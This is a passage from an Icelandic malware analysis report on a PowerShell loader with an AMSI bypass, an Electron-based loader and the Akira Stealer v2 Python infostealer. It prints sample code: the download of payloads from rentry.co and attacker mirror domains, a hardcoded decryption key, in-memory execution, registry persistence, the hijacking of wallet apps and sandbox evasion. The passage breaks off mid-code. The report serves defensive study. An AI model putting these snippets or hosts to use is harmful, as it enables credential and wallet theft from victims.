Notkun hreinna P/Invoke-kalla eins og LoadLibrary, GetProcAddress og VirtualProtect gerir kleift að framkvæma þennan patch dýnamískt og án þess að kalla á nokkur háþrepa API sem EDR-verkfæri gætu vaktað. Þessi aðferð er þjöpp, áhrifarík og skilur eftir sig lágmark af forensic-artifacts.
Í stuttu máli er þessi aðferð til að komast hjá AMSI lágþrepa árás beint á minni antivirus-viðmótsins, framkvæmd á millisekúndum á keyrslutíma. Hún er sterkt dæmi um það hvers vegna hegðunarvöktun og skoðun á minni eru ómissandi í nútíma vörnum á endpointum.
4.3 Meðhöndlun payloads á þrepi 2
Eftir að komist hefur verið hjá AMSI heldur loaderinn áfram og sækir og undirbýr payloadinn á öðru þrepi. Þessi payload er ekki innbyggður í loadernum sjálfum heldur er hann sóttur annaðhvort frá fjartengdum server eða lesinn af diski, allt eftir því hvernig loaderinn er kallaður með $location-breytunni.
Ef staðsetningin byrjar á http er hún túlkuð sem URL og loaderinn notar Get_Stage2() til að sækja payloadinn með HttpWebRequest. Sé hún staðbundin slóð les Get_Stage2disk() innihaldið beint úr skráakerfinu. Í báðum tilvikum er væntanlegt skráarinnihald blob sem er Base64-kóðað, GZip-þjappað og AES-dulkóðað.
Loaderinn framkvæmir svo afkóðunarpípu í fjórum þrepum alfarið í minni:
- Base64-afkóðun: umbreytir kóðaða strengnum í hrá bæti. Þessu skrefi er ætlað að hylja hið eiginlega innihald binaries fyrir statískum skoðunartólum og hindra einfalda mynsturleit.
- GZip-afþjöppun: afkóðuðu bætin eru send í
GZipStreamsem afþjappar payloadinn. Þjöppunin minnkar skráarstærðina og bætir enn einu lagi af obfuskun við. - AES-afkóðun: þjöppuðu bætin eru afkóðuð með AES (Rijndael) í CBC-móð. Lykillinn er leiddur á keyrslutíma út frá lykilorðinu sem notandinn gefur, með SHA-256-hashi ásamt PBKDF2 (
Rfc2898DeriveBytes) og fastri salt. - Salt fjarlægð: afkóðaða niðurstaðan inniheldur enn salt-forskeyti með fastri lengd (4 bæti). Þessi bæti eru fjarlægð handvirkt til að fá hreina binary-blobbið sem er gilt .NET assembly.
Afkóðunarpípan er keyrð þannig:
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);
Hér er AES_Decrypt() sérsmíðað fall sem pakkar Rijndael-algríminu inn, stillt með 256-bita lykli og 128-bita IV (initialization vector), bæði leidd út frá lykilorðinu.
Helstu athuganir á hönnuninni:
- Notkun AES-CBC með PBKDF2 gerir brute-forcing á lykilorðinu ekki einfalt mál.
- Þar sem afkóðun fer fram í minni eru engar milliniðurstöður nokkurn tímann skrifaðar á disk, sem dregur úr forensic-artifacts.
- Sé rangt lykilorð gefið misheppnast afkóðunin hljóðlega eða framleiðir ógild gögn, sem getur leitt til misheppnaðrar keyrslu eða torrekjanlegra undantekninga.
Í stuttu máli hækkar þessi fjölþrepa meðhöndlun payloads þröskuldinn töluvert fyrir statíska detection, bæði þá sem byggir á signature og þá sem byggir á heuristík. Án þess að keyra kóðann í raun eða skoða hegðun loadersins í þaula eru þeir sem verjast ólíklegir til að finna innbyggða payloadinn nema þeir þekki líka lykilorðið og nákvæmu afkóðunarrökvísina.
4.4 Dýnamísk hleðsla assemblies
Eftir að payloadinn á öðru þrepi hefur verið afkóðaður með árangri er bætaröðin sem út kemur gilt .NET assembly. Í stað þess að skrifa þetta assembly á disk, sem er algengur indicator fyrir antivirus- eða EDR-kerfi, keyrir SharpLoader það beint í minni með reflection:
Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });
Þessi tækni er kölluð fileless keyrsla. Hún er mjög evasiv því hún:
- Kemur aldrei við diskinn og skilur engin skráarbundin IOC (indicators of compromise) eftir sig
- Gerir hefðbundna forensic-söfnun erfiðari, því ekkert binary er varðveitt á diski
- Kemst hjá statískri signature-byggðri detection, því AV-engines byggja oft á skönnun skráa
Ef EntryPoint er ekki static hefur loaderinn vararökvísi:
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
Þetta tryggir samhæfni við assemblies sem þurfa hlut sem búið er að frumstilla til að keyra (t.d. public int Main() inni í klasatilviki). Kóðinn býr dýnamískt til tilvik af klasanum og kallar svo á entry point-fallið.
Ásamt því að komast hjá AMSI og afkóðun í minni færir þessi búnaður endanlega payloadinn til keyrslu á hljóðlátan og alfarið fileless hátt, sem er einkennismerki nútíma evasivs malware.
4.5 Breytur á skipanalínu og sveigjanleiki
PowerShell-fallinu Invoke-SharpLoader er ætlað að vera sveigjanlegur wrapper fyrir hvaða .NET-payload sem er. Það styður dýnamískt inntak bæði á staðsetningu payloads og argument, sem gerir kleift að endurnýta eitt loader-tilvik í mörgum aðgerðum eða herferðum.
Studdar breytur:
-location(skylda): tilgreinir annaðhvort URL eða staðbundna skráaslóð á dulkóðaða payloadinn á þrepi tvö.-password(skylda): notað til að leiða AES-afkóðunarlykilinn.-argument,-argument2,-argument3(valkvæmt): þessum er áframsent beint íMain()-fall.NET-assemblysins með reflection.-noArgs: kveikir keyrslu án þess að senda nokkrar breytur í payloadinn á öðru þrepi.
Innanhúss er argumentunum safnað og þeim áframsent þannig:
object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });
Það þýðir að .NET-payloadinn er væntur til að hafa signature á þessa leið:
static void Main(string[] args)
eða hann fellur snurðulaust yfir í Main()-afbrigðið án breyta í gegnum vararökvísina. Þessi hegðun gerir red teams eða höfundum malware kleift að búa til fjölnota önnur þrep sem geta framkvæmt ólíkar aðgerðir eftir inntakinu, til dæmis ræst implant, safnað kerfisupplýsingum eða hafið C2-samskipti.
Slík einingaskipting og stillanleiki eru lykileinkenni háþróaðra malware-frameworka og sýna hvernig scriptbyggðir loaders geta hagað sér sem mjög aðlögunarhæf keyrsluumhverfi fyrir payloads neðar í keðjunni.
4.6 Dæmi um notkun í raunheimum
Til að sýna keyrslu SharpLoader í raunverulegri herferð má skoða eftirfarandi kall sem sást í umferð:
Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs
Þetta dæmi undirstrikar dæmigerða notkun SharpLoader:
- Location-argumentið: URL-ið vísar á fjartengdan server sem hýsir
calc.enc, hulinn payload á öðru þrepi. Endapunkturinn liggur undir.well-known-möppu sem virðist lögmæt og er oft notuð við staðfestingu HTTPS-skilríkja, sem hjálpar URL-inu að falla inn í lögmæta vefumferð. - Einkenni payloadsins:
calc.encer þrefalt obfuskeruð skrá, Base64-kóðuð, GZip-þjöppuð og AES-dulkóðuð. Þessi obfuskunarpípa tryggir að payloadinn er ógegnsær flestum detection-búnaði nema hann sé keyrður og afkóðaður að fullu í minni. - Password-argumentið: strengurinn
UwUFufu1er notaður á keyrslutíma til að leiða AES-lykilinn með SHA-256 og PBKDF2. Án þessa lykilorðs er ekki hægt að afkóða payloadinn, sem gerir greiningu án samhengis utan keyrslu nánast ómögulega. - Engin viðbótarargument: rofinn
-noArgsgefur til kynna að engar breytur á skipanalínu séu sendar í afkóðaða .NET-assemblyið, sem kveikir sjálfgefna keyrsluleið þess.
Þessi hljóðláta kallkeðja rúmar kjarnatilgang SharpLoader: fileless, aðlögunarhæfa og örugga afhendingu payloads með einfaldri PowerShell-setningagerð og hámarks obfuskun og evasion.
4.7 Samantekt
Smíðin Invoke-SharpLoader er dæmi um afar fágaða og evasiva aðferð til að staging-a malware, sem nýtir innbyggða kerfishluta, reflection og dulkóðun til að starfa nánast alfarið í minni.
Helstu punktar:
- Komist hjá AMSI: beinn patch í minni á
AmsiScanBuffergerir skoðun antivirus óvirka án þess að kalla á API sem greinast. - Örugg meðhöndlun payloads: að sækja dulkóðaða og þjappaða payloads á þrepi tvö tryggir trúnað og bætir við mörgum lögum af evasion.
- Keyrsla eingöngu í minni: afkóðaðir payloads eru aldrei skrifaðir á disk, sem gerir detection með hefðbundnum skráabundnum skönnurum nánast ómögulega.
- Einingaskiptur og endurnýtanlegur arkitektúr: með PowerShell-breytum má endurnýta SharpLoader sveigjanlega í mörgum herferðum með ólíkum payloads og keyrsluhegðun.
5. Deep Dive: main.exe – Electron-byggður malware-loader
Við reverse engineering varð ljóst að main.exe, sem Microsoft Defender for Endpoint hafði merkt, var ekki hefðbundið binary heldur Electron-byggður malware-loader. Það var afhent inni í safnskrá sem hét app-64.7z og Updater.exe sótti og pakkaði út á keyrslutíma. Eftir útpökkun líktist uppbyggingin og innihaldið mjög dæmigerðu Electron-forriti.
5.1 Að þekkja Electron-uppbyggingu
Í útdregnu möppunni voru meðal annars þessar skrár:
chrome_100_percent.pak,v8_context_snapshot.bin,d3dcompiler_47.dllLICENSES.chromiumogLICENSES.electron- Stórt
main.exe-binary (~150 MB) resources-mappa sem innihéltapp.asarog annað binary,elevate.exe

Allt þetta eru sterkar vísbendingar um Electron-forrit, sem notar Chromium og Node.js til að pakka JavaScript-byggðum skjáborðsforritum. Tilvist elevate.exe, undirritaðs Microsoft-binaries sem oft er notað til að auka réttindi, vakti frekari tortryggni, því það má misnota til að ræsa barnferli með upphöfnum réttindum.
5.2 Útpökkun og statísk greining (deep dive)
Í stað þess að keyra main.exe valdi ég statíska greiningu til að forðast að kveikja á nokkurri raunverulegri hegðun. Upphafleg tilgáta mín um að main.exe væri byggt með Electron var staðfest þegar app.asar-skráin fannst inni í resources-möppunni. Í Electron-forritum inniheldur þessi safnskrá alla kjarnarökvísi forritsins, svo sem JavaScript-skrár, uppsetningu (package.json) og tilföng, pakkað á sérsniðnu sniði til að auka afköst og obfuskera.
.asar-safnskráin er í grunninn skrifvarið ílát með háum afköstum, sambærilegt .zip en fínstillt fyrir runtime Electron. Þótt hún sé ekki dulkóðuð obfuskerar hún aðgang að kóðanum og gerir statíska greiningu erfiðari nema pakkað sé út.
Til að pakka henni út notaði ég hið opinbera asar-tól sem kemur í gegnum npm. Skrefin voru:
npm install -g asar
asar extract app.asar extracted_app
Skipanirnar hér fyrir ofan drógu innihaldið út í vinnumöppu (extracted_app/), sem afhjúpaði hinn eiginlega JavaScript-forritskóða. Þar var meðal annars:
jscryter.js,input.js,obf.js: þessi script mynda malware-rökvísina.jscryter.jsvirðist stjórna afhendingu payloads,input.jsskilgreinir uppsetningarfasta eða skipanarökvísi, ogobf.jser mjög obfuskerað script sem líklega inniheldur kjarnarökvísi payloadsins.package.json,package-lock.json: skilgreina runtime-umhverfiðnode_modules/: inniheldur allar háðar einingar eins ogaxios,adm-zip,child_process
Útpakkaða innihaldið gaf fullt gagnsæi í rökvísi malware-sins án þess að keyra þyrfti kóðann, sem var forsenda öruggs reverse engineering. Þetta skref staðfesti að main.exe var einvörðungu runtime-wrapper utan um illgjörnu scriptin sem földu sig inni í app.asar.
5.3. Hvað statíska greiningin afhjúpaði
Með því að skoða kóðann handvirkt staðfesti ég að malware-rökvísin var alfarið JavaScript-byggð og keyrði innan runtime Electron. Scriptunum var ætlað að:
- Sækja dulkóðaðan payload (
pyth.zip) frá vara-URL-um - Pakka safnskránni út með
adm-zip - Framkvæma strengjaskipti til að skjóta inn tilteknum credentials eða veskjaheimilisföngum
- Ræsa Python-skrána sem út kemur (
astor.py) í gegnumchild_process.exec()ogpython.exe
Það sem mestu máli skiptir er að loaderinn hafði einnig rökvísi til að afrita Updater.exe inn í AppData-möppu notandans ef það var ekki þegar til staðar, sem styrkti persistence og hélt sýkingarlykkjunni gangandi.
6. Deep Dive: input.js – dulkóðaði JavaScript-payload-loaderinn
input.js er lykilhluti í malware-keðjunni sem greind var og virkar sem miðstöð afkóðunar og keyrslu fyrir dulkóðaðan JavaScript-payload. Þetta script felur kjarnavirkni sína bak við sterkt dulkóðunarlag og sýnir hegðun sína aðeins á keyrslutíma.
6.1 Verklag dulkóðunar og afkóðunar
Við fyrstu sýn inniheldur input.js mjög lítinn læsilegan kóða. Meginhlutverk þess er hins vegar að afkóða og keyra stórt obfuskerað JavaScript-blob sem geymt er inni í scriptinu sjálfu.
6.1.1 Rökvísi afkóðunar
Scriptið skilgreinir decrypt()-fall sem tekur fjórar breytur:
encdata: dulkóðuðu Base64-kóðuðu gögninmasterkey: lykilfrasi í plaintextsalt: dulkóðunarsalt (Base64)iv: initialization vector fyrir AES-afkóðun (Base64)
Afkóðunin er útfærð með crypto-einingunni sem er innbyggð í Node.js. Hún gengur fyrir sig þannig:
- Lykilleiðsla:
Scriptið leiðir 256-bita samhverfan lykil með PBKDF2 (Password-Based Key Derivation Function 2):
const key = crypto.pbkdf2Sync( masterkey, Buffer.from(salt, "base64"), 100000, 32, "sha512", );- Hashfall: SHA-512
- Ítranir: 100.000
- Lykillengd: 32 bæti (256 bitar)
- Salt: gefið sem Base64-afkóðað inntak
- AES-256-CBC-afkóðun:
Leiddi lykillinn er svo notaður til að búa til AES-decipher-hlut:
const decipher = crypto.createDecipheriv( "aes-256-cbc", key, Buffer.from(iv, "base64"), );
Dulkóðaði payloadinn er afkóðaður með venjulegum CBC-móð (Cipher Block Chaining):let decrypted = decipher.update(encdata, "base64", "utf8"); decrypted += decipher.final("utf8"); - Dýnamísk keyrsla:
Afkóðaði JavaScript-kóðinn er aldrei skrifaður á disk. Í staðinn er hann keyrður dýnamískt í minni með
Function-smiðnum:new Function("require", decrypted)(require);
Þessi tækni gerir fileless keyrslu mögulega og dregur úr líkum á detection frá hefðbundnum antivirus-engines sem byggja á skönnun á diski.
Þessi aðferð sýnir lagskipta vörn gegn reverse engineering með því að sameina lykilleiðslu, sterka dulkóðun og dýnamíska keyrslu í minni.
Lykilefni og dulkóðuð gögn
Scriptið inniheldur eftirfarandi harðkóðuð inntök:
- Dulkóðuð gögn: stórt Base64-kóðað blob
- Masterlykill:
9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs - Salt:
maXtklzMEZRY9dbul/XPSw==(Base64-kóðað) - IV:
HwK6sOz7FBbL+YsrOxtYUg==(Base64-kóðað)
Allt þetta er byggt beint inn í frumkóða input.js.
6.2 Hegðun payloadsins eftir afkóðun
Eftir afkóðun verður innbyggði payloadinn fullgilt JavaScript-forrit sem framkvæmir eftirfarandi illgjörnu aðgerðir:
6.2.1 Undirbúningur umhverfis
Afkóðaði payloadinn byrjar á því að setja upp keyrsluumhverfi sitt með innbyggðum Node.js-einingum. Þessi uppsetningarfasi tryggir að allar nauðsynlegar slóðir og vinnumöppur séu skýrt skilgreindar áður en nokkur illgjörn hegðun hefst.
- Ákvörðun tímabundinnar möppu:
Malware-ið kallar á
os.tmpdir()til að finna slóðina á tímabundna möppu kerfisins. Þetta er algeng taktík í malware því tímabundnar möppur eru yfirleitt skrifanlegar og endpoint-varnir skoða þær síður.const tempDir = os.tmpdir(); - Bygging slóða:
Scriptið byggir svo algjörar slóðir fyrir tvær mikilvægar skrár:
pyth.zip: safnskráin sem inniheldur hinn eiginlega Python-byggða stealer á öðru þrepibnd.exe: valkvæm keyranleg skrá sem gæti verið persistence-bakdyr eða viðbótarpayload
const tempFile = path.join(tempDir, "pyth.zip"); const binderFile = path.join(tempDir, "bnd.exe");
Þessi uppsetning slóða felur setningagerð slóða sem er sértæk fyrir stýrikerfið og gerir malware-inu kleift að starfa hnökralaust á hvaða Windows-kerfi sem er. Hún leggur einnig grunninn að þeim búnaði til að sækja og pakka út skrám sem á eftir kemur.
6.2.2 Sókn payloads með varaleiðum
Annar meginfasi afkóðaða JavaScript-payloadsins felur í sér að sækja illgjarna ZIP-safnskrá frá fjartengdum heimildum. Þessi búnaður er hannaður með marglaga varaleiðum til að auka viðnámsþrótt og aðgengi.
- Aðalhlekkurinn fundinn í gegnum Rentry.co
Scriptið byrjar á því að finna dýnamískt URL frá texta-paste-þjónustu. Það sendir GET-beiðni á:
const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
Þetta skilar URL-streng í plaintext sem vísar á hina eiginlegu staðsetningupyth.zip-safnskrárinnar. Að nota framsendingarbúnað á þennan hátt er algeng obfuskunartækni, hún hylur hina raunverulegu illgjörnu URL og gerir statíska detection erfiðari. - Keyrsla niðurhalsins
Fundna URL-ið er svo kallað með Axios-safninu og svarstraumi:
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
Skráin er skrifuð á disk sempyth.zipí tímabundnu möppu kerfisins:const writer = fs.createWriteStream(tempFile); fileResponse.data.pipe(writer);
Þessu niðurhali er pakkað inn íPromisetil að tryggja að því ljúki samstillt áður en frekari rökvísi keyrir. - Vara-URL
Ef Rentry-hlekkurinn bregst prófar scriptið harðkóðaða varastaði:
https://cosmicdust.zip/.well-known/pki-validation/pyth.zip https://cosmoplanets.net/well-known/pki-validation/pyth.zip
Þessi lén eru uppbyggð til að virðast vera hluti af stöðluðum TLS-staðfestingarmöppum, hugsanlega til að líkja eftir slóðum Let's Encrypt eða lénastaðfestingar og draga úr tortryggni. Hver varaleið er reynd aftur með sömu straum- og skráaskrifsrökvísi. - Þol og obfuskun
Þessi varaleiðabúnaður tryggir að malware-ið hafi margar leiðir til að sækja payloadinn á öðru þrepi. Notkun dýnamísks vísis (
rentry.co) og margra spegla til að falla yfir á gerir malware-ið þolnara gegn niðurtekt, blokkun og DNS-sinkholes.
Þessi fasi sýnir vandaða rekstrarskipulagningu höfunda malware-sins, með lagskiptri afritun og vel dulbúnum afhendingarinnviðum.
- Sækir
pyth.zipfrá URL-inu sem fannst - Ef það bregst prófar það varaspegla:
https://cosmicdust.zip/.well-known/pki-validation/pyth.ziphttps://cosmoplanets.net/well-known/pki-validation/pyth.zip
6.2.3 Útdráttur payloads og meðhöndlun hans
Eftir að pyth.zip-safnskráin hefur verið sótt og vistuð á disk heldur malware-ið áfram og dregur út innihald hennar og undirbýr það til keyrslu. Þetta er gert með Node.js-safninu adm-zip, sem gerir kleift að vinna með ZIP-skrár í kóða.
- ZIP-útdráttur:
const zip = new AdmZip(tempFile); zip.extractAllTo(tempDir, true);
Þetta dregur allt innihald safnskrárinnar út í tímabundna möppu kerfisins.true-flaggið tryggir að skrifað sé yfir allar skrár sem þegar eru til. - Innihald safnskrárinnar:
Safnskráin
pyth.zipinniheldur fullpakkað Python-verkefni, þar á meðal:- Möppuuppbyggingu sem líkist lögmætum Python-pakka
- Nokkrar Python-einingar og háðar einingar
- Lykilskrána
astor.pysem liggur áCrypto/Util/astor.pyog er megin-stealer-payloadinn
- Útskipting staðgengla:
Malware-ið skiptir dýnamískt út fyrirfram skilgreindum staðgenglum inni í
astor.pytil að skjóta inn uppsetningargögnum sem árásaraðilinn stýrir, svo sem:- URL á Discord-webhook
- Heimilisföng kryptóveskja (BTC, ETH, DOGE, LTC, XMR o.s.frv.)
- Auðkenni notanda (
%USERID%) - Flagg um villustöðu (
%ERRORSTATUS%)
fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => { let updatedFile = data .replace("%DISCORD%", <webhook>) .replace("%ADDRESSBTC%", <btc_address>) ... .replace("%ERRORSTATUS%", displayError ? "true" : "false"); fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8'); });
Þessi fasi dýnamískrar meðhöndlunar er nauðsynlegur. Með því að fresta innsetningu gildanna sem árásaraðilinn stýrir til keyrslutíma kemst payloadinn hjá statískri detection og stjórnandinn getur breytt skotmörkum og endapunktum exfiltration án þess að pakka safnskránni upp á nýtt.
- Skiptir út staðgengilsstrengjum í
astor.py:- Discord-webhook:
%DISCORD% - Heimilisföng veskja:
%ADDRESSBTC%,%ADDRESSETH%o.s.frv. - Auðkenni notanda og villuflögg
- Discord-webhook:
6.2.4 Keyrsla malware-sins
- Eftir að innspýtingu staðgengla í astor.py er lokið hefur malware-ið keyrslu stealersins með kerfiskalli
exec("python.exe Crypto\\Util\\astor.py");
Þessi skipun er keyrð með child_process.exec-fallinu í Node.js og ræsir innbyggða Python-payloadinn í sérstöku ferli. Þetta tiltekna keyrslumynstur, python.exe með argumentinu Crypto\Util\astor.py, sást í telemetríugögnum sem Microsoft Defender for Endpoint safnaði, sem gerir það að áreiðanlegu detection-artifacti. Í reynd lítur keyrslukeðjan svona út:
Öll keyrslukeðja malware-sins, eins og hún sást í telemetríu Microsoft Defender for Endpoint, fylgir þessari röð:
main.exe(Electron-byggt ílát) kallar ánode.exenode.exeræsircmd.execmd.exeræsirpython.exepython.exekeyrir skránaCrypto\Util\astor.py
6.2.5 Styrking persistence
Til að tryggja langvarandi viðveru á sýkta kerfinu hefur afkóðaði JavaScript-payloadinn rökvísi til að koma persistence á að nýju með því að afrita upphaflega binary-ið (Updater.exe) á falinn stað inni í notandaprófílnum.
Markmappa
Skráin er afrituð í möppu sem líkir eftir lögmætum Windows-hlutum:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Þessi staðsetning er valin viljandi:
- %APPDATA% er skrifanlegt fyrir venjulega notendur og krefst engra kerfisstjóraréttinda.
- Heiti möppunnar líkir eftir lögmætum Microsoft-forritsmöppum, sem gerir hana síður grunsamlega.
Afritunarbúnaður:
Afritunaraðgerðin notar fs.copyFileSync()-fallið í Node.js:
fs.copyFileSync(
process.env.PORTABLE_EXECUTABLE_FILE,
path.join(
process.env.APPDATA,
"Microsoft",
"Internet Explorer",
"UserData",
"Updater.exe",
),
);
- PORTABLE_EXECUTABLE_FILE er umhverfisbreyta sem margir packers (svo sem Electron) setja sjálfkrafa til að vísa á slóð þess binaries sem er í keyrslu.
- path.join(...) byggir fullgilda áfangaslóð sem virkar á ólíkum stýrikerfum.
Þessi rökvísi keyrir aðeins ef skráin er ekki þegar til staðar og virkar þannig sem sjálfsviðgerðarbúnaður sem endurheimtir dropperinn ef honum er eytt.
Hlutverk í malware-keðjunni Tilvist þessa afritaða Updater.exe tryggir að:
- Loaderinn getur kveikt á sjálfum sér aftur þótt kerfið sé endurræst.
- Öll sýkingarkeðjan (sem leiðir til main.exe, node.exe og loks astor.py) getur hafist á nýjan leik án þess að reiða sig á hefðbundinn persistence-búnað í registry, sem er líklegri til að vera vaktaður.
6.2.6 Valkvæm keyrsla binders
Auk þess að sækja og keyra megin-stealer-payloadinn (astor.py) hefur afkóðaða JavaScriptið einnig rökvísi til að sækja og ræsa, ef svo er stillt, aðra keyranlega skrá sem kölluð er "binder". Þennan hluta má nota fyrir persistence, til að dreifa athygli eða til að dreifa fleiri malware-einingum.
Skilyrt keyrsla
Binder-rökvísin er aðeins virkjuð ef tiltekið flagg er sett:
enableBinder = true;
Í sýninu sem greint var var þetta gildi sjálfgefið false, en rökvísin er enn innbyggð í payloadinum og einfalt mál að virkja hana í annarri herferð eða öðru afbrigði.
Rökvísi niðurhals binders
Ef hún er virkjuð reynir scriptið að sækja utanaðkomandi binary frá URL-i sem skilgreint er með staðgenglinum %BINDERURL%:
const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
bnd.exe-skráin er vistuð í tímabundnu möppu kerfisins.- Eins og
pyth.ziper binary-ið sótt með Axios í straumi til að forðast að hlaða öllu binary-inu í minni.
Keyrslustefna
Eftir að niðurhali lýkur kallar scriptið á sótta binary-ið í gegnum cmd.exe, sem tryggir að það keyri í nýju shell-samhengi:
exec(`start cmd /c start ${binderFile}`, ...);
Til að auka áreiðanleika hefur scriptið rökvísi til að reyna aftur:
setTimeout(() => {
exec(...);
}, 5000);
Þetta tryggir að þótt fyrsta keyrslan bregðist (t.d. vegna álags á kerfinu eða kappræðisaðstæðna) reyni malware-ið að ræsa binary-ið aftur eftir skamma stund.
Notkunartilvik binders
Þótt nákvæmur tilgangur binder-binaries komi ekki fram í þessu tiltekna sýni (vegna staðgengils-URL-sins) eru slíkir hlutar almennt notaðir til að:
- Setja upp eða ræsa meginhluta malware-sins að nýju
- Birta fölsuð uppsetningarforrit eða tálbeituforrit
- Dreifa frekari spyware, bakdyrum eða ransomware
- Breyta kerfisstillingum eða gera öryggiseiginleika óvirka
6.3 Samantekt
input.js er mjög obfuskeraður og dulkóðaður JavaScript-loader sem notar dulkóðun að iðnaðarstaðli (PBKDF2 + AES-256-CBC) til að vernda sinn raunverulega tilgang. Eftir afkóðun starfar hann sem fullburða loader á öðru þrepi sem:
- Sækir frekara malware (
pyth.zip) - Breytir hegðun payloadsins dýnamískt
- Ræsir hið eiginlega stealer-script (
astor.py) - Styrkir persistence með því að endurheimta
Updater.exe
Samsetning dulkóðunar, dýnamískrar keyrslu, einingaskiptrar sóknar payloads og fileless reksturs sýnir mjög háþróaðan JavaScript-byggðan malware-arkitektúr sem nýtir getu Node.js inni í Electron-skel.
7. DeepDive: Akira Stealer v2 (astor.py)
7.1. Virkni í stórum dráttum
Akira Stealer v2 (astor.py) er fjölvirkt og einingaskipt infostealer-malware skrifað í Python. Því er ætlað að exfiltrera breitt safn viðkvæmra notandagagna, bæði úr Chromium- og Firefox-byggðum browsers, úr kryptóveskjum, samskiptaforritum (t.d. Discord, Telegram) og kerfisskrám. Það hefur fágaðan búnað til að komast hjá greiningu, persistence í registry, yfirtöku á klippiborði og aðferðir til innspýtingar í minni.
7.2 Persistence og dreifing
7.2.1 Samhengi keyrslukeðjunnar
astor.py er ekki keyrt eitt og sér heldur er það lokapayloadinn í árásarkeðju með margar þrep:
Updater.exe
└── main.exe (Electron app)
└── cmd.exe
└── python.exe astor.py
Þessi skipulagða keyrslukeðja gerir hverju þrepi kleift að komast hjá detection með því að framselja illgjarna virkni til næsta þreps. Updater.exe hefur röðina og er ábyrgt fyrir því að viðhalda persistence.
7.2.2 Persistence byggt á registry
Akira kemur persistence á með því að skrifa registry-lykil undir Run-slóð núverandi notanda. Það tryggir að Updater.exe sé keyrt við hverja ræsingu kerfisins:
command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
- Slóð:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Heiti gildis:
Realtek Audio(valið til að virðast meinlaust) - Slóð payloads: yfirleitt í
AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe
Þessi skipun skrifar autorun-færsluna hljóðlega í gegnum PowerShell eða innbyggða os.system()-keyrslu.
7.2.3 Að fela skrána
Til að hylja binary-ið enn frekar fyrir notendum og einföldum AV-skönnunum er skráin merkt með hidden- og system-eigindum:
subprocess.run(["attrib", "+h", "+s", destination_path])
+h: merkir skrána sem falda+s: merkir skrána sem varða kerfisskrá
Þetta fjarlægir skrána í reynd úr venjulegum sýnum í Windows Explorer og gerir hana enn ósýnilegri.
7.2.4 Aðferðir til endursýkingar
Malware-ið styður sjálfsafritun og endursýkingu með því að yfirtaka Electron-forrit. Nánar tiltekið skiptir það út app.asar-safnskránni í Electron-byggðum skjáborðsveskjum (t.d. Exodus, Atomic Wallet) til að keyra illgjarnt JavaScript þegar lögmæta forritið er ræst.
Rökvísin leitar að þekktum slóðum veskjaforrita:
path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"
Ef markskráin er til er skrifað yfir hana með vopnaðri safnskrá. Það tryggir persistence jafnvel eftir að Updater.exe hefur verið fjarlægt handvirkt.
7.3 Vörn gegn greiningu og evasion (klasi: VmProtect)
7.3.1 Inngangur
Í nútíma malware-herferðum er það lykilatriði að komast hjá greiningu í sýndar- og sandbox-umhverfum til að haldast ósýnilegur. Akira Stealer v2 hefur heildstæða einingu til detection á VM og sandbox (VmProtect) sem finnur af hörku umhverfi sem greinendur stýra og stöðvar keyrslu í þeim. Þessi skýrsla tekur í sundur hverja detection-aðferð, birtir nákvæm kóðabrot, þar á meðal fullar skilgreiningar svartlista, og lýsir þeirri greiningaraðferð sem var notuð.
7.3.2 Yfirlit
VmProtect-klasinn útfærir öfluga detection á VM og sandbox til að stöðva keyrslu í tæka tíð í greiningarumhverfum. Hann styður tvö detection-stig:
- Stig 1: léttar og hraðar athuganir
- Stig 2: djúpar og heildstæðar prófanir
Ef VmProtect.isVM(level) skilar True kallar malware-ið á sys.exit() og hindrar frekari greiningu.
7.3.3 Detection-stig
| Eiginleiki | Stig 1 | Stig 2 |
|---|---|---|
| HTTPSimulation | ✔️ | ✔️ |
| Svartlisti tölvuheita | ✔️ | ✔️ |
| Svartlisti notandareikninga | ✔️ | ✔️ |
| Svartlisti vélbúnaðar-UUID | ❌ | ✔️ |
| API-athugun á opinberri hýsingu | ❌ | ✔️ |
| Vísbendingar úr registry og GPU | ❌ | ✔️ |
| Bakgrunnsferli sem drepur tasks | ✔️ | ✔️ |
7.3.4 Arkitektúr VmProtect
VmProtect-klasinn býður upp á eftirfarandi megin-aðferðir:
checkUUID()checkComputerName()checkUsers()checkHosting()checkHTTPSimulation()checkRegistry()killTasks()isVM(level)
Hver aðferð skilar bólsku gildi eða keyrir evasion-skref. isVM-wrapperinn safnar þessum athugunum saman eftir því hvaða stig er tilgreint.
| Aðferð | Kveikt af | Lýsing |
|---|---|---|
checkUUID() |
isVM(2) |
Svartlisti WMI-UUID |
checkComputerName() |
isVM(1,2) |
Samsvörun á hostname úr umhverfisbreytum |
checkUsers() |
isVM(1,2) |
Svartlisti notandanafna |
checkHosting() |
isVM(2) |
Athugun á IP-hýsingaraðila í gegnum ip-api.com |
checkHTTPSimulation() |
isVM(1,2) |
Detection á HTTPS-hlerun |
checkRegistry() |
isVM(2) |
Artifacts úr registry og GPU-driverum |
killTasks() |
isVM(...) spawn |
Stöðvar þekkt greiningarferli |
isVM(level) |
init | Safnar athugunum saman og kallar á killTasks()-þráðinn |
@staticmethod
def isVM(level: int) -> bool:
# Always start background task-killer
Thread(target=VmProtect.killTasks, daemon=True).start()
if level == 1:
# Fast path: HTTPS, hostname & user
return (
VmProtect.checkHTTPSimulation()
